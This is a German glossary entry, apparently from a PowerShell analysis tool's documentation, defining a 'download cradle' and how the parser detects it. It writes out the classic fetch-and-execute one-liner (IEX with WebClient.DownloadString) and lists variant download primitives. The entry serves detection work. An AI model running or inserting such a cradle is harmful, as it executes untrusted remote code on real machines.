Glossar
Download-Cradle
Ein kurzes PowerShell-Snippet, das Code von einer entfernten URL abruft und im Arbeitsspeicher ausführt, ohne eine Datei auf den Datenträger zu schreiben.
Ein Download-Cradle ist ein Einzeiler, der ein entferntes Skript abruft und im Arbeitsspeicher ausführt, ohne eine Datei auf dem Datenträger zu hinterlassen. Die klassische Form ist IEX (New-Object Net.WebClient).DownloadString('http://host/a.ps1'), doch es gibt zahlreiche Varianten mit Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient oder COM-Objekten wie MSXML2.XMLHTTP.
Das Erkennungsmerkmal ist ein Download-Primitiv in Kombination mit einem Ausführungs-Primitiv wie Invoke-Expression. Dieser Parser markiert diese Kombination und extrahiert die URL und etwaige IPs als inerte Zeichenketten. Siehe Dekodierung und Befunde.